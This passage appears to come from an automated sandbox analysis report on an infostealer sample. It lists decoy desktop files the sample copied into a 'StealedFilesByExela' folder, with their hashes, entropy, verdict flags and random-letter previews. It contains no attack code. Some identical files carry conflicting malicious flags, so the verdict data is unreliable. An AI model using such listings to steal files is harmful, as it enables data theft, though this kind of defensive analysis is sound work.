C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	true
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	true
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
